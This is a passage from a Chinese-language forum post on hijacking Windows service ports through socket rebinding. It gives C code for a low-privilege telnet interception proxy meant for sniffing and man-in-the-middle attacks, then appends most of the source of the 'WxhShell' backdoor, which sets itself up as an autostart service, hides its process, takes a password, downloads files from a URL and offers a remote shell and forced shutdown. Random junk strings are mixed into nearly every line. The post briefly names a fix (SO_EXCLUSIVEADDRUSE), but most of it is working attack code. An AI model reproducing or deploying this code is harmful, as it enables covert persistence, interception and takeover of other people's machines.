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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  w[VWk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^K;,,s;0  
; 4S#6#  
  saddr.sin_family = AF_INET; lSbAZ6  
zlXkD~GV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >j$f$*x  
,a?em'=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bggSYhJ?\#  
QtX ->6P>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (zTr/  
j)J4[j  
  这意味着什么?意味着可以进行如下的攻击: (s"_NUj6  
IG#=}q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nYE_WXY3V  
^]Gt<_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X|8Y z3:o  
~ae68&L6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !7}5"j ;A  
(hmasy6hM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K=!J=R;  
wd1*wt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 KiCZEA  
U); ,Opr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M,mj{OY~x  
[KCh,'&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \yM[?/<  
;r`[6[AG  
  #include )B8[w  
  #include ]C]tLJ!M  
  #include ko  ~iDT  
  #include    :*4yR46  
  DWORD WINAPI ClientThread(LPVOID lpParam);   85nUR [)h  
  int main() LsBDfp5/  
  { @.MM-  
  WORD wVersionRequested; GO`X KE  
  DWORD ret; Zso .3FR,  
  WSADATA wsaData; 8mx5K-/,y^  
  BOOL val; ! 4i  
  SOCKADDR_IN saddr; ~~k IA"U  
  SOCKADDR_IN scaddr; lr^-  
  int err; ts)0+x  
  SOCKET s; ty/jTo}  
  SOCKET sc; vA+RZ  
  int caddsize; nA+[[(6  
  HANDLE mt; s{A-K5S  
  DWORD tid;   +5^*c^C  
  wVersionRequested = MAKEWORD( 2, 2 ); 'v\!}6  
  err = WSAStartup( wVersionRequested, &wsaData ); pk"JcUzR  
  if ( err != 0 ) { !y*V;J  
  printf("error!WSAStartup failed!\n"); 6 *Q5.g  
  return -1; )vy<q/o+  
  } `&0?e-  
  saddr.sin_family = AF_INET; QmgwIz_  
   -?@ $`{-K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =Jem.Ph  
YM#XV*P0 q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9E (>mN  
  saddr.sin_port = htons(23); hWDgMmo7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m<OxO\Mpf  
  { ]kKf4SJZFU  
  printf("error!socket failed!\n"); 9>zN 27  
  return -1; zJ &qR  
  } y@hdN=-  
  val = TRUE; '}XW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 BH*vsxe  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vtr:{   
  { `D#l(gZ  
  printf("error!setsockopt failed!\n"); SxQ|1:i%  
  return -1; s$Roe(J  
  } '#q"u y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P,wFib^1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SuuWrt}5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MTqbQ69v  
]qpcA6%a|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5[*MT%ms  
  { 8vUP{f6{  
  ret=GetLastError(); A.<X78!^  
  printf("error!bind failed!\n"); 2$3BluK  
  return -1; hO(HwG?8t  
  } _I'O4s1S  
  listen(s,2); h` n>6I  
  while(1) AM Rj N;  
  { 29Gej Lg |  
  caddsize = sizeof(scaddr); m"v` E7G  
  //接受连接请求 ,lN!XP{M6w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r#{lpF,3Ib  
  if(sc!=INVALID_SOCKET) v4Nb/Y  
  { t+h"YiT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }1$8)zH  
  if(mt==NULL) s&fU|Jk8  
  { r&TxRsg{  
  printf("Thread Creat Failed!\n"); {fX4  
  break; AJmS1 B  
  } `zep`j&8^  
  } ,*C^ixNE  
  CloseHandle(mt); &1Az`[zKGW  
  } }D=h"\_=  
  closesocket(s); ]=_BK!O  
  WSACleanup(); ltD:w{PO]  
  return 0; 4/d#)6  
  }   s"Kp+tTWj  
  DWORD WINAPI ClientThread(LPVOID lpParam) #b8/gRfS  
  { %Z}dY~:  
  SOCKET ss = (SOCKET)lpParam; xt`znNN  
  SOCKET sc; 3@}_ F<"*  
  unsigned char buf[4096]; rre;HJGEL  
  SOCKADDR_IN saddr; {'X"9@  
  long num; n*;mFV0s  
  DWORD val; mybDK'EW  
  DWORD ret; T]i~GkD\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X5<L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N;D+]_;0|  
  saddr.sin_family = AF_INET; (m,O!935f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z1OcGRN!  
  saddr.sin_port = htons(23); nl?|X2?C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h?CNChRJs  
  { &E9%8Q)r(  
  printf("error!socket failed!\n"); C3memimN  
  return -1; '7=*n_l  
  } ~MQN&  
  val = 100;  x'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m1`ln5(R  
  { Nd6N:1 -  
  ret = GetLastError(); VLOyUt~O#  
  return -1; SE/@li  
  }  $hN!DHz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JUXK}0d%eN  
  { 2<J82(4j  
  ret = GetLastError(); ?dTz?C.w  
  return -1; a<HM|dcst  
  } CP?\'a"Kt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {wMCo ,  
  { koie  
  printf("error!socket connect failed!\n"); wDSU~\  
  closesocket(sc); {fS/ZG"5<t  
  closesocket(ss); pFG~XW  
  return -1; BS{">lPmx  
  } {!EbGIh  
  while(1) > h:~*g  
  { QR,i b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *qR tk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gReaFnm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k,&W5zBKe  
  num = recv(ss,buf,4096,0); 9w AP%xh  
  if(num>0) :`uo]B"  
  send(sc,buf,num,0); #6YNgJNk  
  else if(num==0) >o[T#U  
  break; }ShZ4 xMz  
  num = recv(sc,buf,4096,0); QP qa\87  
  if(num>0) 8,H  
  send(ss,buf,num,0); swJwy~  
  else if(num==0) }LE/{]A  
  break; eH6#'M4+\  
  } c8u&ev.U  
  closesocket(ss); T[7- 3[w<)  
  closesocket(sc); Aimgfxag  
  return 0 ; mM95BUB  
  } \"uR&D  
3|~(9b{+  
&KD m5p  
========================================================== UV:_5"-  
(yZ^Y'0  
下边附上一个代码,,WXhSHELL XBDlQe|>  
S[%86(,*gP  
========================================================== `5gcc7b  
f:=?"MX7  
#include "stdafx.h" 19lx;^b  
N2~Nc"L  
#include <stdio.h> )v'DQAL  
#include <string.h> W"~G]a+  
#include <windows.h> i|2Q}$3t2  
#include <winsock2.h> /*8"S mte  
#include <winsvc.h> he!e~5<@y  
#include <urlmon.h> `4$" mO>+  
jd$lu^>I  
#pragma comment (lib, "Ws2_32.lib") jaDZPX-yS  
#pragma comment (lib, "urlmon.lib") 0t<TZa]V  
Qg4qjX](?  
#define MAX_USER   100 // 最大客户端连接数 f^',J@9@  
#define BUF_SOCK   200 // sock buffer \=nY&Ml  
#define KEY_BUFF   255 // 输入 buffer O1-Ne.$  
F+}MW/ra@  
#define REBOOT     0   // 重启 *O+N4tq  
#define SHUTDOWN   1   // 关机 G<>`O;i  
TMq\}k-I5  
#define DEF_PORT   5000 // 监听端口 2N>:GwN  
<<[`;"CF  
#define REG_LEN     16   // 注册表键长度 E5Z,4B  
#define SVC_LEN     80   // NT服务名长度 zg"<N  
<b{ApsRJf  
// 从dll定义API QQ pe.oF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BE:GB?XBH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W4X=.vr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L0Xb^vx}m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3d \bB !  
Azu$F5G!n  
// wxhshell配置信息 #W* 5=Cf  
struct WSCFG { {Pdy KgM  
  int ws_port;         // 监听端口 0f1*#8-6  
  char ws_passstr[REG_LEN]; // 口令 BQ &|=a6  
  int ws_autoins;       // 安装标记, 1=yes 0=no <Ms,0YKx  
  char ws_regname[REG_LEN]; // 注册表键名 qm8[ ^jO&  
  char ws_svcname[REG_LEN]; // 服务名 >P/.X^G0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -Y;(yTtz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2Fp.m}42i(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7H9&\ur9+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *7`;{O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" epR7p^`7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ':6`M  
3)p#}_u{  
}; wxN'Lv=R  
'IKV%$k  
// default Wxhshell configuration W(Xb]t=19  
struct WSCFG wscfg={DEF_PORT, &Z#g/Hc  
    "xuhuanlingzhe", #]cO] I  
    1, L >Y%$|4  
    "Wxhshell", hvwKhQ}wX  
    "Wxhshell", tg.[.v Ks  
            "WxhShell Service", {f<2VeJ  
    "Wrsky Windows CmdShell Service", j/ow8Jmc*  
    "Please Input Your Password: ", Am{Vtl)i  
  1, \mbm$E+X  
  "http://www.wrsky.com/wxhshell.exe", 9jBP|I{xI  
  "Wxhshell.exe" zU}Ru&T9  
    }; j.= VZ  
n&y'Mb PB  
// 消息定义模块 N7=lSBm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7A<X!a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pp#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; : M=0o<  
char *msg_ws_ext="\n\rExit."; 4,4S5u[|  
char *msg_ws_end="\n\rQuit."; z.P<)[LUc  
char *msg_ws_boot="\n\rReboot..."; qT5q3A(8  
char *msg_ws_poff="\n\rShutdown..."; leR-oeSO  
char *msg_ws_down="\n\rSave to "; CC"}aV5  
lkl+o&D9  
char *msg_ws_err="\n\rErr!"; Qqm'Yom%T  
char *msg_ws_ok="\n\rOK!"; ' d' Dlg  
lC|`DG-B  
char ExeFile[MAX_PATH]; @komb IK  
int nUser = 0; EX@wenR  
HANDLE handles[MAX_USER]; UNY O P{  
int OsIsNt; L6<.>\^Z"  
a=@]Ov/  
SERVICE_STATUS       serviceStatus; '1P~"P3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z{$2bV  
wo>7^ZA  
// 函数声明 vJI]ZnL{  
int Install(void); :O)\+s-  
int Uninstall(void); ~/C9VR&  
int DownloadFile(char *sURL, SOCKET wsh); N_L~oX_  
int Boot(int flag); wB'GV1|jL  
void HideProc(void); ~xPU#m<  
int GetOsVer(void); `-Y8T\  
int Wxhshell(SOCKET wsl); ? $$Xg3w_#  
void TalkWithClient(void *cs); U-+o6XX  
int CmdShell(SOCKET sock); x_L5NsO:  
int StartFromService(void); Y[sBVz'j5  
int StartWxhshell(LPSTR lpCmdLine); T"IDCT'z  
z\7-v<ZS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  /dI8o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ExKyjWAJ  
Y' FB {  
// 数据结构和表定义 S/,)X  
SERVICE_TABLE_ENTRY DispatchTable[] = 1L;3e@G  
{ pG&#xRk  
{wscfg.ws_svcname, NTServiceMain}, ZX0#I W  
{NULL, NULL} "50 c<sZSB  
}; n?(sn  
_9f7@@b  
// 自我安装 #IvHxSo&  
int Install(void) )Szn,  
{ 4$oDq  
  char svExeFile[MAX_PATH]; #W9{3JGUY  
  HKEY key; tqD=)0Uzs  
  strcpy(svExeFile,ExeFile); "W^+NeLc  
`(uN_zvH  
// 如果是win9x系统,修改注册表设为自启动 `c)[aP{vN  
if(!OsIsNt) { #J'V,_ wH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  MFyi#nq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'ws@I?!r  
  RegCloseKey(key); W"!{f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w ,*#z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ua.%?V  
  RegCloseKey(key); lJ Jn@A  
  return 0; <5!)5+G  
    } cv5+[;(b  
  } IOddu2.(  
} RF}R~m9]  
else { ^U9b)KA  
NT=)</v  
// 如果是NT以上系统,安装为系统服务 B7.<A#y2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k x%\Cz  
if (schSCManager!=0) ':|E$@$W  
{ $sFqMy  
  SC_HANDLE schService = CreateService d(YAH@  
  ( Ca["tks  
  schSCManager, 4axuE]  
  wscfg.ws_svcname, Tmk'rOg5  
  wscfg.ws_svcdisp, SveP:uJA[  
  SERVICE_ALL_ACCESS, #y8Esik  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I6i qC"BK  
  SERVICE_AUTO_START, CG ,H  
  SERVICE_ERROR_NORMAL, A;TNR  
  svExeFile, F?Fxm*Wa/  
  NULL, =d$m@rc0r  
  NULL, ;EsfHCi)  
  NULL, [dy0aR$>d  
  NULL, ZEB,Q~  
  NULL bo#?,80L}`  
  ); iow"X6_l_  
  if (schService!=0) )_kU,RvZ  
  { S]ed96V v  
  CloseServiceHandle(schService); g*WY kv  
  CloseServiceHandle(schSCManager); Iv{uk$^7S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n){u!z)Al  
  strcat(svExeFile,wscfg.ws_svcname); yPf,GB"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o,qUf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -+0!Fkt@,  
  RegCloseKey(key); u yoV)  
  return 0; CpU y~  
    } v<ati c  
  } fM3ZoH/  
  CloseServiceHandle(schSCManager); WS+uKb^<  
} 2E.D0E Cu  
} Dc3bG@K*G  
,IPryI   
return 1; dW%;Z  
} zCrM~  
_o-01gu.  
// 自我卸载 EdCcnl?R6  
int Uninstall(void) nc?Oj B  
{ Zb2.o5#}  
  HKEY key; A[Vhy;xz  
fn.}LeeS>  
if(!OsIsNt) { cK t8e^P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cC$E"m  
  RegDeleteValue(key,wscfg.ws_regname); Ekz)Nh)vGR  
  RegCloseKey(key); JjG>$z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2w:cdAv$  
  RegDeleteValue(key,wscfg.ws_regname); nn/_>%Y  
  RegCloseKey(key); ys9MV%*  
  return 0; [4HOWM>\  
  } T]?QCf  
} s ]Db<f  
} tSq`_[@  
else { MU~nvs;:  
#zKF/H|_R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ET q~, g'  
if (schSCManager!=0) d<v)ovQJ]  
{ nNcmL/(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B1 [O9U:  
  if (schService!=0) si|b>R&Z  
  { 3EX41)u  
  if(DeleteService(schService)!=0) { G8F43!<  
  CloseServiceHandle(schService); l}mzCIw%  
  CloseServiceHandle(schSCManager); e[J0+ x#;r  
  return 0; H3jb{S b  
  } ]}jY] l  
  CloseServiceHandle(schService); VTxLBFK;  
  } qEB]Tj e[  
  CloseServiceHandle(schSCManager); ahm@ +/2  
} f m'Qif q^  
} j?P8&Fm<  
}5sJd>u5^  
return 1; UZqk2D  
} R(F+Xg je  
OcGHMGdn  
// 从指定url下载文件 4) ~ GHb  
int DownloadFile(char *sURL, SOCKET wsh) C6(WnO{6  
{ '}T6e1#JV  
  HRESULT hr; ;&G8e* bM2  
char seps[]= "/"; =o+))R4  
char *token; x'wT%/hp  
char *file; PEX(*GS  
char myURL[MAX_PATH]; p;m2RHYF  
char myFILE[MAX_PATH]; hh>mX6A  
I!sB$=n  
strcpy(myURL,sURL); D$ +"n  
  token=strtok(myURL,seps); >E`p@ e+  
  while(token!=NULL) eb>YvC  
  { F,-S&d  
    file=token; QBiLH]qa  
  token=strtok(NULL,seps); \;Ywr3  
  } 0qrsf!  
G(XI TL u*  
GetCurrentDirectory(MAX_PATH,myFILE); QcDWVM'v  
strcat(myFILE, "\\"); )pA N_e"  
strcat(myFILE, file); KW.QVBuVO#  
  send(wsh,myFILE,strlen(myFILE),0); , 1{)B  
send(wsh,"...",3,0); ;f7;U=gl,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1 k}U+  
  if(hr==S_OK) ki^c)Tqn  
return 0; dT9!gNvQ  
else A+lP]Oy0S  
return 1; -Vi"hSsUP  
3+2&@:$t  
} -S7rOq2Li  
OO:^#Mvv5  
// 系统电源模块 o(I[_oUy\  
int Boot(int flag) AZCbUkq  
{ \e/'d~F  
  HANDLE hToken; `"<} B"s  
  TOKEN_PRIVILEGES tkp; ;O2r+n  
K~_[[)14b  
  if(OsIsNt) { Q4_+3-g<7L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G2%%$7Jj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y+XB  
    tkp.PrivilegeCount = 1; 6uYCU|JsU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xrK%3nA4s"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P!{ O<P  
if(flag==REBOOT) { XTHy CK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }7Si2S  
  return 0; `V@{#+X  
} "mnWqRpX  
else { f.`noZN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Syn>;FX  
  return 0; {@u;F2?  
} )j40hrR  
  } x8 sSb:N  
  else { PF-7AIxs"  
if(flag==REBOOT) { O4kBNUI/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 63d' fgVp  
  return 0; Ch`XwLY9  
} J3fcnI  
else { > ln%3 =  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !aD/I%X  
  return 0; N9D<wAK##)  
} Vc3tKuMsiX  
} ;f7(d\=y  
&UUIiQm~  
return 1; 1pC!F ;9Oo  
} n^|n6(EZ  
LXaT_3 ;  
// win9x进程隐藏模块 _-%A_5lCRE  
void HideProc(void) h5&l#>8&  
{ $ +h~VC  
kScq#<Y&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]l>)Di#*o  
  if ( hKernel != NULL ) ;CD.8f]N  
  { ewqfs/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *M5 =PQfb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z&%#,0>]  
    FreeLibrary(hKernel); TdI5{?sW  
  } R74kt36M  
`'[u%UE  
return; zg&<HJO  
} ,V!s w5_5m  
ow*) 1eo  
// 获取操作系统版本 q_5k2'4K  
int GetOsVer(void) etj8M y6=  
{ h8oG5|Y  
  OSVERSIONINFO winfo; gk\IivPb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aEVBU  
  GetVersionEx(&winfo); pq7G[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KFdTw{GlJ7  
  return 1; ^SB?NRk  
  else 0.C y4sH'  
  return 0; zR(}X8fP  
} @.T '>;izr  
jpZ, $  
// 客户端句柄模块 f( 5c  
int Wxhshell(SOCKET wsl) XKB)++Q=  
{ zlZ$t{[,  
  SOCKET wsh; 3>%rm%ffE  
  struct sockaddr_in client; zME75;{  
  DWORD myID; .`& ($W  
'5.n2 8W>  
  while(nUser<MAX_USER) L8N`<a5T  
{ s@K)RhTY  
  int nSize=sizeof(client); k/YEUC5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -`gqA%#+  
  if(wsh==INVALID_SOCKET) return 1; 4bqi&h3  
L6Ykv/V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ro$'|}(+A  
if(handles[nUser]==0) qz"di~7  
  closesocket(wsh); BpZE  
else pb1/HhRR^n  
  nUser++; 2`I" QU  
  } a}ogNx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RUUV"y  
E&P'@'Yk  
  return 0; R9nW5f Nf  
} 1X2MhV  
H=[eO  
// 关闭 socket .)o<'u@Ri  
void CloseIt(SOCKET wsh) T1jAY^^I  
{ -jdS8n4  
closesocket(wsh); @9g$+_"ZT  
nUser--; wUj[c7Y%  
ExitThread(0); )WavG1  
} Nw[TP G5  
+<7~yZ[Z8  
// 客户端请求句柄 ol7%$:S  
void TalkWithClient(void *cs) G#-t&gO3  
{ J7q^4M+o:  
3 ha^NjE  
  SOCKET wsh=(SOCKET)cs; 3:Q5dr+1_  
  char pwd[SVC_LEN]; :UM>`Y  
  char cmd[KEY_BUFF]; ste0:.*qb  
char chr[1]; $q,2VH:Ip  
int i,j; (CFm6p'RZ  
>Q#h,x~vu  
  while (nUser < MAX_USER) { $Y* d ' >  
tIfA]pE  
if(wscfg.ws_passstr) { Uo?g@D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o0nd]"q?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9`  
  //ZeroMemory(pwd,KEY_BUFF); =vJ:R[Ilw  
      i=0; [Ak L6  
  while(i<SVC_LEN) { -L&r2RF/  
.anXsjD%W  
  // 设置超时 xa#;<8 iV  
  fd_set FdRead; Pj(Dl C7G,  
  struct timeval TimeOut; hB/4.K]8  
  FD_ZERO(&FdRead); k?]`PUrV  
  FD_SET(wsh,&FdRead); BUB$k7{z  
  TimeOut.tv_sec=8; art L  
  TimeOut.tv_usec=0; B8A-|S!,U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =hD@hQ i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L~9Q7 6w  
FyleK+D?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !YX$4_I  
  pwd=chr[0]; D>tex/Of3  
  if(chr[0]==0xd || chr[0]==0xa) { WOBLgM,|  
  pwd=0; *} @Y"y  
  break; ZcJa:  
  } ybk~m  
  i++; Y$JGpeq8w  
    } v'3.`aZ!  
/bm2v;  
  // 如果是非法用户,关闭 socket E%Tpby}^'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C7PVJnY0  
} 8(d Hn  
s'$5]9$S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GZ=7)eJ~<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j'L/eps?S  
Rhw- 49AWx  
while(1) { >}~\*Y\8@  
lL8pIcQW  
  ZeroMemory(cmd,KEY_BUFF); /Z3 Mlm{  
o,qq*}=  
      // 自动支持客户端 telnet标准   BQWhTS7  
  j=0; ~l {*XM  
  while(j<KEY_BUFF) { |h^[/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b"4'*<=au  
  cmd[j]=chr[0]; |:7 ^  
  if(chr[0]==0xa || chr[0]==0xd) { :zA/~/Wo  
  cmd[j]=0; 8U8%XIEJ  
  break; "mk@p=d  
  } 3#\++h]QZ  
  j++; 8Cx6Me>,=  
    } @ra^0  
4*0C_F@RX  
  // 下载文件 5S9i>B  
  if(strstr(cmd,"http://")) {  _BFDsQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fk*I}pDx  
  if(DownloadFile(cmd,wsh)) gDN7ly]6M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k2 _i;v  
  else SAVA6 64  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gPE` mE  
  } :?!b\LJ2^  
  else { $.+_f,tU  
PEr &|H2  
    switch(cmd[0]) { 0-P,zkK_v  
  zH5pe  
  // 帮助 zi^?9n),  
  case '?': { IgIM8"N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G'U! #  
    break; $,.XPK5Q u  
  } FG:t2ea  
  // 安装 8P?p  
  case 'i': { ;!hwcOkX  
    if(Install()) [%c5MQ?H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^j!2I&h1  
    else ]5O]=^ u0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /2f  
    break; h`n) b  
    } ZX8 AB  
  // 卸载 nl-y0xD9c  
  case 'r': { C+L_f_6]  
    if(Uninstall()) ^qY?x7mx1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y'^+ KU  
    else >Jk]=_%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( 5 BZZ  
    break; |yinVfZ0C  
    } gF>t+"+ x  
  // 显示 wxhshell 所在路径 8w$q4fg0  
  case 'p': { L,O.XR  
    char svExeFile[MAX_PATH]; +;ylld  
    strcpy(svExeFile,"\n\r"); 4aiI&,  
      strcat(svExeFile,ExeFile); 6b1AIs8  
        send(wsh,svExeFile,strlen(svExeFile),0); r i/CLq^D  
    break; g)1`A 24  
    } L.s$|%  
  // 重启 Q_)$Ha{>H,  
  case 'b': { C"QB`f:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R $@$  
    if(Boot(REBOOT)) m%cwhH_B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b~*CJ8Ad  
    else { f+lPQIB  
    closesocket(wsh); X7rsO^}W  
    ExitThread(0); hkB|rhJgm  
    } mpNS}n6  
    break; []$L"?]0uk  
    } q#O 8Fv  
  // 关机 fZp3g%u  
  case 'd': { R2A#2{+H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M0$_x~  
